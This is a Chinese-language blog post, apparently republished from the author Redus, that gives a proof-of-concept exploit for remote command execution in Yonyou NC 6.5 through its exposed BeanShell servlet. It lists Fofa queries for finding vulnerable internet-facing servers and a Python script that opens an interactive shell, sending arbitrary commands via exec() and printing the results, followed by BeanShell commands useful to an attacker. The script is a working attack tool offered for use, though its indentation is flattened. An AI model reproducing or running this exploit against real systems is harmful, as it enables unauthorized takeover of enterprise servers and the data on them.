暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

用友 NC任意命令执行漏洞 & poc

Redus 2021-06-04
6249


漏洞影响的产品版本包括:用友NC 6.5

    Fofa:icon_hash="1085941792"

    (没有会员的小伙伴在苦恼没办法使用上边的 Fofa 语法吧,等效的也可以用底下的 Fofa 语法搜集)

      Fofa:app="用友-UFIDA-NC"

      漏洞的 Url 为:

        /servlet/~ic/bsh.servlet.BshServlet


        漏洞复现截图:



        随手写了个 poc 练手,下面就呈上,写的不太好有改进的地方请各位指出。

          import re
          from ast import parse
          from time import sleep
          import requests,time,optparse,urllib3
          from lxml import etree


          urllib3.disable_warnings()
          parser = optparse.OptionParser()
          parser.add_option('-u', '--url', action="store", dest="url", help='Base target uri (ex. http://target-uri/)')


          options , args = parser.parse_args()
          if not options.url:
          print('[+] Specify an url target')
          print("[+] Example usage: exploit.py -u http://target-uri/")
          print("[+] Example help usage: exploit.py -h")
          exit()




          url = options.url
          session = requests.Session()


          def poc():
          poc_url = url + payload
          headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36'
          }
          try:
          response = requests.post(url=poc_url)
          if response.status_code == 200 :
          flag = True
          print("[+] 用友 NC bsh.servlet.BshServlet Command Execution")
          time.sleep(1)


          while flag:
          cmd = input("$ ")
          data = {
                          'bsh.script''exec("%s")' % (cmd)
          }
          response = requests.post(url=poc_url,data=data,headers=headers)
          mate = etree.HTML(response.content.decode())
          compose = mate.xpath('/html/body/table/tr/td/pre//text()')
          print(compose[0])
          except requests.exceptions.ConnectionError as error:
          print('[x] This host seems to be Down')
          exit()


          if __name__ == "__main__":
          payload = "/servlet/~ic/bsh.servlet.BshServlet"
              poc()




          BeanShell一些实用命令


          • source().,run() —— 读取 bsh 脚本到当前解析器中或者运行在一个新的解析器中。

          • frame() —— 在 Frame 或者 JFrame 中显示 GUI 组件。

          • load(),save() —— 加载或者保存序列化对象到文件中。

          • cd(),cat(),dir(),pwd() 等——类似于 Unix 的命令。

          • exec() —— 运行本地化应用程序。

          • javap() —— 打印方法和对象的字段,和 Java 里 javap 命令类似。

          • setAccessibility() —— 开启对私有的、受保护的组件不受限制的访问。





          文章转载自Redus,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

          评论